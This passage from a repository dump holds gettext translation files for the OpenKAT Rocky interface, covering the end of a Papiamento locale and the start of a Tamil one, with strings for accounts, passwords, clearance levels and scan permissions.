and \"\n#~ \"identifying which potential failures should be prioritized.\"\n#~ msgstr \"\"\n#~ \"Failure mode (FM) ta referi na e manera kaminda algu por posibelmente \"\n#~ \"kibra i inkluí errornan potenshal ku por okuri, speshalmente errornan ku \"\n#~ \"por afektá un sistema. Effective analysis (EA) ta envolvi den buska e \"\n#~ \"konsekuensiasnan di loke por kibra dor di detekta tur failure modes, \"\n#~ \"determiná kon frequente failure modes ta okuri i identifiká kwa failure \"\n#~ \"modes mester wordu prioritisa.\"\n\n#~ msgid \"Create affected objects of a failure mode\"\n#~ msgstr \"Kreá ophetonan afektá di un failure mode\"\n\n#~ msgid \"View all failure modes\"\n#~ msgstr \"Mustrami tur failue modes\"\n\n#~ msgid \"View all failure mode effects\"\n#~ msgstr \"Mustrami tur efektonan di failure mode\"\n\n#~ msgid \"View all affected objects for a failure modes\"\n#~ msgstr \"Mustrami tur ophetonan afektá pa failure modes\"\n\n#~ msgid \"Heatmap\"\n#~ msgstr \"Mapa kayente\"\n\n#~ msgid \"--- Select an option ----\"\n#~ msgstr \"-- Selecta un opcion --\"\n\n#~ msgid \"Failure mode affected objects successfully created.\"\n#~ msgstr \"Failure mode i ophetonan afektá a wòrdu kreá ku èksito.\"\n\n#~ msgid \"Create\"\n#~ msgstr \"Kreá\"\n\n#~ msgid \"Treeobjects successfully added.\"\n#~ msgstr \"Mapa di ophetonan añadi ku èxito.\"\n\n#~ msgid \"Please select a department or ooi.\"\n#~ msgstr \"Por fabor selekta un departamentu òf ooi.\"\n\n#~ msgid \"Failure mode successfully created.\"\n#~ msgstr \"Failure mode a wòrdu kreá ku èksito.\"\n\n#~ msgid \"Failure mode effect successfully created.\"\n#~ msgstr \"Failure mode a wòrdu kreá ku èksito.\"\n\n#~ msgid \"FMEA\"\n#~ msgstr \"FMEA\"\n\n#~ msgid \"Failure mode effects\"\n#~ msgstr \"Efektonan di failure mode\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            \\\"Withdraw acceptance of level L%(acl)s \"\n#~ \"clearance and responsibility\\\"\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"\\\"Retirá aseptashon di nivel di autorisashon L%(acl)s i \"\n#~ \"responsabilidat\\\"\\n\"\n#~ \" \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        \\\"Accept level L%(tcl)s clearance and \"\n#~ \"responsibility\\\"\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"\\\"Aseptá nivel di autorisashon L%(tcl)s i responsabilidat\\\"\\n\"\n#~ \" \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                  Add setting\\n\"\n#~ \"                \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                  Add settings\\n\"\n#~ \"                \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                        Añadi setting\\n\"\n#~ \"                        \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                        Añadi settings\\n\"\n#~ \"                      \"\n\n#~ msgid \"Organization code(s) for raw does not exist in our database\"\n#~ msgstr \"Codigo di organisashon den e CSV no ta èksisti den nos database\"\n\n#~ msgid \"Scan OOI\"\n#~ msgstr \"Skèn OOI\"\n\n#~ msgid \"Selected OOIs:\"\n#~ msgstr \"OOI's selektá:\"\n\n#~ msgid \"Session has terminated, please select OOIs again.\"\n#~ msgstr \"Seshon a wòrdu tèrminá. Por fabor selekta OOIs dinobo.\"\n\n#~ msgid \"Could not connect to Bytes. Service is possibly down\"\n#~ msgstr \"No por konektá ku Bytes. Servicio ta down\"\n\n#~ msgid \"Could not connect to Octopoes. Service is possibly down\"\n#~ msgstr \"No por konektá ku Octopoes. Servicio ta down\"\n\n#~ msgid \"Could not connect to Scheduler. Service is possibly down\"\n#~ msgstr \"No por konektá ku Scheduler. Servicio ta down\"\n\n#~ msgid \"Rocky will not function properly. Not all services are healthy.\"\n#~ msgstr \"Rocky no lo functiona mane debe ser. No tur servicio ta saludabel.\"\n\n#~ msgid \"Failure\"\n#~ msgstr \"Failure\"\n\n#~ msgid \"Task details not found.\"\n#~ msgstr \"Detayes di tarea no por wordu haña.\"\n\n#~ msgid \"This name we will use to communicate with you.\"\n#~ msgstr \"E nomber aki nos lo huza pa komuniká ku bo.\"\n\n#~ msgid \"What do we call you?\"\n#~ msgstr \"Kon nos por jama'bu?\"\n\n#~ msgid \"Enter your email address.\"\n#~ msgstr \"Yena bo email adres\"\n\n#~ msgid \"Choose your super secret password\"\n#~ msgstr \"Skohé bo password super sekreto\"\n\n#~ msgid \"Enter your new password\"\n#~ msgstr \"Yena bo password nobo\"\n\n#~ msgid \"Repeat your new password\"\n#~ msgstr \"Ripiti bo password nobo\"\n\n#~ msgid \"Confirm your new password\"\n#~ msgstr \"Konfirmá bo password nobo\"\n\n#~ msgid \"List of tasks for \"\n#~ msgstr \"Lista di tareanan pa \"\n\n#~ msgid \"No input OOI\"\n#~ msgstr \"No tin entrada OOI\"\n\n#~ msgid \"\"\n#~ \"Can not parse observed_at parameter, falling back to showing current \"\n#~ \"object\"\n#~ msgstr \"\"\n#~ \"No por parse e parametro observed_at, regresando na munstra e opheto \"\n#~ \"aktual\"\n\n#~ msgid \"Scanning successfully scheduled.\"\n#~ msgstr \"Skèn a start ku èxito.\"\n"
  },
  {
    "path": "rocky/rocky/locale/ta/LC_MESSAGES/django.po",
    "content": "# SOME DESCRIPTIVE TITLE.\n# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER\n# This file is distributed under the same license as the PACKAGE package.\n# தமிழ்நேரம் <anishprabu.t@gmail.com>, 2025.\n# jan klopper <jan@underdark.nl>, 2025.\n# Weblate Translation Memory <noreply-mt-weblate-translation-memory@weblate.org>, 2025.\n#: reports/forms.py\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: PACKAGE VERSION\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2025-08-20 07:38+0000\\n\"\n\"PO-Revision-Date: 2025-08-22 09:39+0000\\n\"\n\"Last-Translator: jan klopper <jan@underdark.nl>\\n\"\n\"Language-Team: Tamil <https://hosted.weblate.org/projects/openkat/nl-kat-\"\n\"coordination/ta/>\\n\"\n\"Language: ta\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"Plural-Forms: nplurals=2; plural=n != 1;\\n\"\n\"X-Generator: Weblate 5.13\\n\"\n\n#: account/admin.py\nmsgid \"Permissions\"\nmsgstr \"அனுமதிகள்\"\n\n#: account/admin.py\nmsgid \"Important dates\"\nmsgstr \"முக்கியமான தேதிகள்\"\n\n#: account/forms/account_setup.py crisis_room/forms.py\n#: katalogus/templates/katalogus_settings.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: tools/forms/boefje.py rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Name\"\nmsgstr \"பெயர்\"\n\n#: account/forms/account_setup.py\nmsgid \"The name that will be used in order to communicate.\"\nmsgstr \"தொடர்பு கொள்ள பயன்படுத்தப்படும் பெயர்.\"\n\n#: account/forms/account_setup.py\nmsgid \"Please provide username\"\nmsgstr \"பயனர்பெயரை வழங்கவும்\"\n\n#: account/forms/account_setup.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Email\"\nmsgstr \"மின்னஞ்சல்\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter an email address.\"\nmsgstr \"மின்னஞ்சல் முகவரியை உள்ளிடவும்.\"\n\n#: account/forms/account_setup.py\nmsgid \"Password\"\nmsgstr \"கடவுச்சொல்\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose a super secret password\"\nmsgstr \"சூப்பர் ரகசிய கடவுச்சொல்லைத் தேர்வுசெய்க\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another email.\"\nmsgstr \"மற்றொரு மின்னஞ்சலைத் தேர்வுசெய்க.\"\n\n#: account/forms/account_setup.py tools/forms/settings.py\nmsgid \"--- Please select one of the available options ----\"\nmsgstr \"--- கிடைக்கக்கூடிய விருப்பங்களில் ஒன்றைத் தேர்ந்தெடுக்கவும் ----\"\n\n#: account/forms/account_setup.py\nmsgid \"Account type\"\nmsgstr \"கணக்கு வகை\"\n\n#: account/forms/account_setup.py\nmsgid \"Please select an account type to proceed.\"\nmsgstr \"தொடர ஒரு கணக்கு வகையைத் தேர்ந்தெடுக்கவும்.\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\nmsgid \"Trusted clearance level\"\nmsgstr \"நம்பகமான இசைவு நிலை\"\n\n#: account/forms/account_setup.py\nmsgid \"Select a clearance level you trust this member with.\"\nmsgstr \"இந்த உறுப்பினரை நீங்கள் நம்பும் இசைவு நிலையைத் தேர்ந்தெடுக்கவும்.\"\n\n#: account/forms/account_setup.py onboarding/forms.py tools/forms/ooi.py\nmsgid \"Please select a clearance level to proceed.\"\nmsgstr \"தொடர இசைவு நிலையைத் தேர்ந்தெடுக்கவும்.\"\n\n#: account/forms/account_setup.py tools/models.py\nmsgid \"The name of the organization.\"\nmsgstr \"அமைப்பின் பெயர்.\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-name\"\nmsgstr \"விளக்கம்-அமைப்பு-பெயர்\"\n\n#: account/forms/account_setup.py\n#, python-brace-format\nmsgid \"A unique code of maximum {code_length} characters in length.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"explanation-organization-code\"\nmsgstr \"விளக்கம்-அமைப்பு-குறியீடு\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization name is required to proceed.\"\nmsgstr \"தொடர நிறுவனத்தின் பெயர் தேவை.\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another organization.\"\nmsgstr \"மற்றொரு அமைப்பைத் தேர்வுசெய்க.\"\n\n#: account/forms/account_setup.py\nmsgid \"Organization code is required to proceed.\"\nmsgstr \"தொடர நிறுவன குறியீடு தேவை.\"\n\n#: account/forms/account_setup.py\nmsgid \"Choose another code for your organization.\"\nmsgstr \"உங்கள் நிறுவனத்திற்கான மற்றொரு குறியீட்டைத் தேர்வுசெய்க.\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that OpenKAT may scan the assets of my organization and that I \"\n\"have permission to scan these assets. I am aware of the implications a scan \"\n\"(with a higher scan level) brings on my systems.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"I declare that I am authorized to give this indemnification on behalf of my \"\n\"organization. I have the experience and knowledge to know what the \"\n\"consequences might be and can be held responsible for them.\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py\nmsgid \"Trusted to change Clearance Levels.\"\nmsgstr \"இசைவு நிலைகளை மாற்ற நம்பப்படுகிறது.\"\n\n#: account/forms/account_setup.py\nmsgid \"Acknowledged to change Clearance Levels.\"\nmsgstr \"இசைவு அளவை மாற்ற ஒப்புக் கொள்ளப்பட்டது.\"\n\n#: account/forms/account_setup.py rocky/forms.py\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Blocked\"\nmsgstr \"தடுக்கப்பட்டது\"\n\n#: account/forms/account_setup.py\nmsgid \"\"\n\"Set the members status to blocked, so they don't have access to the \"\n\"organization anymore.\"\nmsgstr \"\"\n\"உறுப்பினர்களின் அந்தச்தைத் தடுக்கவும், எனவே அவர்களுக்கு இனி நிறுவனத்திற்கு அணுகல் இல்லை.\"\n\n#: account/forms/account_setup.py\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Accepted clearance level\"\nmsgstr \"ஏற்றுக்கொள்ளப்பட்ட இசைவு நிலை\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter tags separated by comma.\"\nmsgstr \"கமாவால் பிரிக்கப்பட்ட குறிச்சொற்களை உள்ளிடவும்.\"\n\n#: account/forms/account_setup.py\nmsgid \"The two password fields didn’t match.\"\nmsgstr \"இரண்டு கடவுச்சொல் புலங்களும் பொருந்தவில்லை.\"\n\n#: account/forms/account_setup.py\nmsgid \"New password\"\nmsgstr \"புதிய கடவுச்சொல்\"\n\n#: account/forms/account_setup.py\nmsgid \"Enter a new password\"\nmsgstr \"புதிய கடவுச்சொல்லை உள்ளிடவும்\"\n\n#: account/forms/account_setup.py\nmsgid \"New password confirmation\"\nmsgstr \"புதிய கடவுச்சொல் உறுதிப்படுத்தல்\"\n\n#: account/forms/account_setup.py\nmsgid \"Repeat the new password\"\nmsgstr \"புதிய கடவுச்சொல்லை மீண்டும் செய்யவும்\"\n\n#: account/forms/account_setup.py\nmsgid \"Confirm the new password\"\nmsgstr \"புதிய கடவுச்சொல்லை உறுதிப்படுத்தவும்\"\n\n#: account/forms/login.py\nmsgid \"Please enter a correct email address and password.\"\nmsgstr \"சரியான மின்னஞ்சல் முகவரி மற்றும் கடவுச்சொல்லை உள்ளிடவும்.\"\n\n#: account/forms/login.py\nmsgid \"This account is inactive.\"\nmsgstr \"இந்த கணக்கு செயலற்றது.\"\n\n#: account/forms/login.py\nmsgid \"Insert the email you registered with or got at OpenKAT installation.\"\nmsgstr \"நீங்கள் பதிவுசெய்த மின்னஞ்சலை OpenKAT நிறுவலில் செருகவும்.\"\n\n#: account/forms/organization.py\nmsgid \"Organization is required.\"\nmsgstr \"அமைப்பு தேவை.\"\n\n#: account/forms/organization.py tools/view_helpers.py\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/organizations/organization_list.html\n#: rocky/views/organization_add.py\nmsgid \"Organizations\"\nmsgstr \"நிறுவனங்கள்\"\n\n#: account/forms/organization.py\nmsgid \"The organization from which to clone settings.\"\nmsgstr \"அமைப்புகளை நகலி செய்யும் அமைப்பு.\"\n\n#: account/forms/password_reset.py account/templates/account_detail.html\nmsgid \"Email address\"\nmsgstr \"மின்னஞ்சல் முகவரி\"\n\n#: account/forms/password_reset.py\nmsgid \"A reset link will be sent to this email\"\nmsgstr \"மீட்டமை இணைப்பு இந்த மின்னஞ்சலுக்கு அனுப்பப்படும்\"\n\n#: account/forms/password_reset.py\nmsgid \"The email address connected to your OpenKAT-account\"\nmsgstr \"உங்கள் OpenKat- கணக்குடன் இணைக்கப்பட்ட மின்னஞ்சல் முகவரி\"\n\n#: account/forms/token.py\nmsgid \"\"\n\"Insert the token generated by the authenticator app to setup the two factor \"\n\"authentication.\"\nmsgstr \"\"\n\"இரண்டு காரணி அங்கீகாரத்தை அமைக்க அங்கீகார பயன்பாட்டால் உருவாக்கப்பட்ட கிள்ளாக்கை செருகவும்.\"\n\n#: account/forms/token.py\nmsgid \"Insert the token generated by your token authenticator app.\"\nmsgstr \"உங்கள் கிள்ளாக்கு அங்கீகார பயன்பாட்டால் உருவாக்கப்பட்ட டோக்கனைச் செருகவும்.\"\n\n#: account/forms/token.py\nmsgid \"Backup token\"\nmsgstr \"காப்புப்பிரதி கிள்ளாக்கு\"\n\n#: account/mixins.py\nmsgid \"Clearance level has been set.\"\nmsgstr \"\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"\"\n\"எல் %s க்கு %s இன் இசைவு அளவை உயர்த்த முடியவில்லை. அமைப்பின் %s இல் இழப்பீடு இல்லை.\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You were trusted a clearance \"\n\"level of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\"எல் %s க்கு %s இன் இசைவு அளவை உயர்த்த முடியவில்லை. எல்%s இசைவு நிலை நீங்கள் \"\n\"நம்பப்பட்டீர்கள். அதிக இசைவு பெற உங்கள் நிர்வாகியைத் தொடர்பு கொள்ளுங்கள்.\"\n\n#: account/mixins.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level of %s to L%s. You acknowledged a clearance \"\n\"level of L%s. Please accept the clearance level first on your profile page \"\n\"to proceed.\"\nmsgstr \"\"\n\"எல் %s க்கு %s இன் இசைவு அளவை உயர்த்த முடியவில்லை. L%s இன் இசைவு அளவை நீங்கள் \"\n\"ஒப்புக்கொண்டீர்கள். தொடர உங்கள் சுயவிவரப் பக்கத்தில் இசைவு அளவை முதலில் ஏற்றுக்கொள்ளுங்கள்.\"\n\n#: account/models.py\nmsgid \"The email must be set\"\nmsgstr \"\"\n\n#: account/models.py\nmsgid \"Superuser must have is_staff=True.\"\nmsgstr \"சூப்பர் யூசருக்கு IS_STAFF = உண்மை இருக்க வேண்டும்.\"\n\n#: account/models.py\nmsgid \"Superuser must have is_superuser=True.\"\nmsgstr \"சூப்பர் யூசருக்கு is_superuser = உண்மை இருக்க வேண்டும்.\"\n\n#: account/models.py\nmsgid \"full name\"\nmsgstr \"முழு பெயர்\"\n\n#: account/models.py\nmsgid \"email\"\nmsgstr \"மின்னஞ்சல்\"\n\n#: account/models.py\nmsgid \"staff status\"\nmsgstr \"ஊழியர்களின் நிலை\"\n\n#: account/models.py\nmsgid \"Designates whether the user can log into this admin site.\"\nmsgstr \"பயனர் இந்த நிர்வாக தளத்தில் உள்நுழைய முடியுமா என்பதை நியமிக்கிறது.\"\n\n#: account/models.py tools/models.py\nmsgid \"active\"\nmsgstr \"செயலில்\"\n\n#: account/models.py\nmsgid \"\"\n\"Designates whether this user should be treated as active. Unselect this \"\n\"instead of deleting accounts.\"\nmsgstr \"\"\n\"இந்த பயனரை செயலில் கருத வேண்டுமா என்பதை நியமிக்கிறது. கணக்குகளை நீக்குவதற்கு பதிலாக \"\n\"இதைத் தேர்ந்தெடுக்கவும்.\"\n\n#: account/models.py\nmsgid \"date joined\"\nmsgstr \"தேதி இணைந்தது\"\n\n#: account/models.py\nmsgid \"The clearance level of the user for all organizations.\"\nmsgstr \"அனைத்து நிறுவனங்களுக்கும் பயனரின் இசைவு நிலை.\"\n\n#: account/models.py\nmsgid \"name\"\nmsgstr \"பெயர்\"\n\n#: account/templates/account_detail.html account/views/account.py\nmsgid \"Account details\"\nmsgstr \"கணக்கு விவரங்கள்\"\n\n#: account/templates/account_detail.html account/templates/password_reset.html\n#: account/views/password_reset.py\nmsgid \"Reset password\"\nmsgstr \"கடவுச்சொல்லை மீட்டமைக்கவும்\"\n\n#: account/templates/account_detail.html\nmsgid \"Full name\"\nmsgstr \"முழு பெயர்\"\n\n#: account/templates/account_detail.html\nmsgid \"Member type\"\nmsgstr \"உறுப்பினர் வகை\"\n\n#: account/templates/account_detail.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Organization\"\nmsgstr \"அமைப்பு\"\n\n#: account/templates/account_detail.html\nmsgid \"Permission to set OOI clearance levels\"\nmsgstr \"OOI இசைவு நிலைகளை அமைக்க இசைவு\"\n\n#: account/templates/account_detail.html\nmsgid \"OOI clearance\"\nmsgstr \"OOI இசைவு\"\n\n#: account/templates/account_detail.html\nmsgid \"You don't have any clearance to scan objects.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"Get in contact with the admin to give you the necessary clearance level.\"\nmsgstr \"\"\n\n#: account/templates/account_detail.html\nmsgid \"You have currently accepted clearance up to level\"\nmsgstr \"நீங்கள் தற்போது நிலை வரை அனுமதியை ஏற்றுக்கொண்டீர்கள்\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI Clearance\"\nmsgstr \"விளக்கம் ooi இசைவு\"\n\n#: account/templates/account_detail.html\nmsgid \"\"\n\"You can withdraw this at anytime you like, but know that you won't be able \"\n\"to change clearance levels anymore when you do.\"\nmsgstr \"\"\n\"நீங்கள் விரும்பும் எந்த நேரத்திலும் இதை நீங்கள் திரும்பப் பெறலாம், ஆனால் நீங்கள் செய்யும்போது \"\n\"இனி இசைவு அளவை மாற்ற முடியாது என்பதை அறிந்து கொள்ளுங்கள்.\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"Withdraw L%(acl)s clearance and responsibility\"\nmsgstr \"எல்%(acl)s இசைவு மற்றும் பொறுப்பை திரும்பப் பெறுங்கள்\"\n\n#: account/templates/account_detail.html\nmsgid \"Explanation OOI clearance\"\nmsgstr \"விளக்கம் ooi இசைவு\"\n\n#: account/templates/account_detail.html\n#, python-format\nmsgid \"\"\n\"You are granted clearance for level L%(tcl)s by your admin. Before you can \"\n\"change OOI clearance levels up to this level, you need to accept this \"\n\"permission. Remember: <strong>with great power comes great responsibility.</\"\n\"strong>\"\nmsgstr \"\"\n\"உங்கள் நிர்வாகியால் எல்%(tcl)s க்கு உங்களுக்கு இசைவு வழங்கப்படுகிறது. OOI இசைவு \"\n\"நிலைகளை இந்த நிலைவரை மாற்றுவதற்கு முன், இந்த அனுமதியை நீங்கள் ஏற்க வேண்டும். நினைவில் \"\n\"கொள்ளுங்கள்: <strong> பெரும் சக்தியுடன் பெரும் பொறுப்பு வருகிறது. </strong>\"\n\n#: account/templates/account_detail.html\n#: onboarding/templates/step_4_trusted_acknowledge_clearance_level.html\n#, python-format\nmsgid \"Accept level L%(tcl)s clearance and responsibility\"\nmsgstr \"நிலை L%(tcl)s இசைவு மற்றும் பொறுப்பை ஏற்றுக்கொள்ளுங்கள்\"\n\n#: account/templates/password_reset.html\nmsgid \"Use the form below to reset your password.\"\nmsgstr \"உங்கள் கடவுச்சொல்லை மீட்டமைக்க கீழே உள்ள படிவத்தைப் பயன்படுத்தவும்.\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Send\"\nmsgstr \"அனுப்பு\"\n\n#: account/templates/password_reset.html\n#: account/templates/password_reset_confirm.html\nmsgid \"Back\"\nmsgstr \"பின்\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm reset password\"\nmsgstr \"கடவுச்சொல்லை மீட்டமை உறுதிப்படுத்தவும்\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Use the form below to confirm resetting your password\"\nmsgstr \"உங்கள் கடவுச்சொல்லை மீட்டமைப்பதை உறுதிப்படுத்த கீழே உள்ள படிவத்தைப் பயன்படுத்தவும்\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"Confirm password\"\nmsgstr \"கடவுச்சொல்லை உறுதிப்படுத்தவும்\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"The link is invalid\"\nmsgstr \"இணைப்பு தவறானது\"\n\n#: account/templates/password_reset_confirm.html\nmsgid \"\"\n\"The password reset link was invalid, possibly because it has already been \"\n\"used.  Please request a new password reset.\"\nmsgstr \"\"\n\"கடவுச்சொல் மீட்டமைப்பு இணைப்பு தவறானது, ஏனெனில் அது ஏற்கனவே பயன்படுத்தப்பட்டிருப்பதால். \"\n\"புதிய கடவுச்சொல் மீட்டமைப்பைக் கோரவும்.\"\n\n#: account/templates/password_reset_email.html\n#, python-format\nmsgid \"\"\n\"You're receiving this email because you requested a password reset for your \"\n\"user account at %(site_name)s.\"\nmsgstr \"\"\n\"உங்கள் பயனர் கணக்கிற்கான கடவுச்சொல் மீட்டமைப்பை %(site_name)s இல் கோரியதால் இந்த \"\n\"மின்னஞ்சலைப் பெறுகிறீர்கள்.\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Please go to the following page and choose a new password:\"\nmsgstr \"தயவுசெய்து பின்வரும் பக்கத்திற்குச் சென்று புதிய கடவுச்சொல்லைத் தேர்வுசெய்க:\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"Sincerely,\"\nmsgstr \"உண்மையுள்ள,\"\n\n#: account/templates/password_reset_email.html\n#: account/templates/registration_email.html\nmsgid \"The OpenKAT team\"\nmsgstr \"ஓபன்காட் அணி\"\n\n#: account/templates/password_reset_subject.txt\n#, python-format\nmsgid \"Password reset on %(site_name)s\"\nmsgstr \"கடவுச்சொல் மீட்டமைப்பு %(site_name)s\"\n\n#: account/templates/recover_email.html account/views/recover_email.py\nmsgid \"Recover email address\"\nmsgstr \"மின்னஞ்சல் முகவரியை மீட்டெடுக்கவும்\"\n\n#: account/templates/recover_email.html\nmsgid \"Information on how to recover your connected email address\"\nmsgstr \"உங்கள் இணைக்கப்பட்ட மின்னஞ்சல் முகவரியை எவ்வாறு மீட்டெடுப்பது என்பது பற்றிய செய்தி\"\n\n#: account/templates/recover_email.html\nmsgid \"Forgotten email address?\"\nmsgstr \"மறந்துவிட்ட மின்னஞ்சல் முகவரி?\"\n\n#: account/templates/recover_email.html\nmsgid \"\"\n\"If you don’t remember the email address connected to your account, contact:\"\nmsgstr \"\"\n\"உங்கள் கணக்கில் இணைக்கப்பட்ட மின்னஞ்சல் முகவரி உங்களுக்கு நினைவில் இல்லை என்றால், தொடர்பு \"\n\"கொள்ளவும்:\"\n\n#: account/templates/recover_email.html\nmsgid \"Please contact the system administrator.\"\nmsgstr \"கணினி நிர்வாகியை தொடர்பு கொள்ளவும்.\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to login\"\nmsgstr \"உள்நுழைவுக்குத் திரும்பு\"\n\n#: account/templates/recover_email.html\nmsgid \"Back to Home\"\nmsgstr \"வீட்டிற்கு திரும்பவும்\"\n\n#: account/templates/registration_email.html\n#, python-format\nmsgid \"\"\n\"Welcome to OpenKAT. You're receiving this email because you have been added \"\n\"to organization \\\"%(organization)s\\\" at %(site_name)s.\"\nmsgstr \"\"\n\"OpenKat க்கு வருக. நீங்கள் இந்த மின்னஞ்சலைப் பெறுகிறீர்கள், ஏனெனில் நீங்கள் \"\n\"\\\"%(organization)s\\\" இல் %(site_name)s சேர்க்கப்பட்டுள்ளீர்கள்.\"\n\n#: account/templates/registration_subject.txt\n#, python-format\nmsgid \"Verify OpenKAT account on %(site_name)s\"\nmsgstr \"OpenKAT கணக்கை %(site_name)s இல் சரிபார்க்கவும்\"\n\n#: account/validators.py\nmsgid \"\"\n\"Your password must contain at least the following but longer passwords are \"\n\"recommended:\"\nmsgstr \"\"\n\"உங்கள் கடவுச்சொல்லில் குறைந்தது பின்வரும் இருக்க வேண்டும், ஆனால் நீண்ட கடவுச்சொற்கள் \"\n\"பரிந்துரைக்கப்படுகின்றன:\"\n\n#: account/validators.py\nmsgid \" characters\"\nmsgstr \" எழுத்துக்கள்\"\n\n#: account/validators.py\nmsgid \" digits\"\nmsgstr \" இலக்கங்கள்\"\n\n#: account/validators.py\nmsgid \" letters\"\nmsgstr \" கடிதங்கள்\"\n\n#: account/validators.py\nmsgid \"\"\n\" special characters such as: {str(validators.get('special_characters',''))}\"\nmsgstr \"\"\n\" போன்ற சிறப்பு எழுத்துக்கள்: {சரம் (Validators.get ('சிறப்பு எழுத்துக்கள்', ''))}\"\n\n#: account/validators.py\nmsgid \" lower case letters\"\nmsgstr \" சிறிய எழுத்துக்கள்\"\n\n#: account/validators.py\nmsgid \" upper case letters\"\nmsgstr \" மேல் வழக்கு கடிதங்கள்\"\n\n#: account/views/login.py\nmsgid \"Your session has timed out. Please login again.\"\nmsgstr \"உங்கள் அமர்வு நேரம் முடிந்துவிட்டது. மீண்டும் உள்நுழைக.\"\n\n#: account/views/login.py rocky/templates/header.html\nmsgid \"OpenKAT\"\nmsgstr \"ஓபன்காட்\"\n\n#: account/views/login.py account/views/password_reset.py\n#: account/views/recover_email.py rocky/templates/partials/secondary-menu.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Login\"\nmsgstr \"புகுபதிவு\"\n\n#: account/views/login.py\nmsgid \"Two factor authentication\"\nmsgstr \"இரண்டு காரணி ஏற்பு\"\n\n#: account/views/password_reset.py\nmsgid \"We couldn't send a password reset link. Contact \"\nmsgstr \"கடவுச்சொல் மீட்டமைப்பு இணைப்பை எங்களால் அனுப்ப முடியவில்லை. தொடர்பு \"\n\n#: account/views/password_reset.py\nmsgid \"\"\n\"We couldn't send a password reset link. Contact your system administrator.\"\nmsgstr \"\"\n\"கடவுச்சொல் மீட்டமைப்பு இணைப்பை எங்களால் அனுப்ப முடியவில்லை. உங்கள் கணினி நிர்வாகியைத் \"\n\"தொடர்பு கொள்ளுங்கள்.\"\n\n#: components/modal/template.html\nmsgid \"Close modal\"\nmsgstr \"மோடல் மூடு\"\n\n#: components/modal/template.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/confirmation_clone_settings.html\n#: katalogus/templates/plugin_settings_delete.html\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/organizations/organization_edit.html\n#: rocky/templates/organizations/organization_member_edit.html\n#: 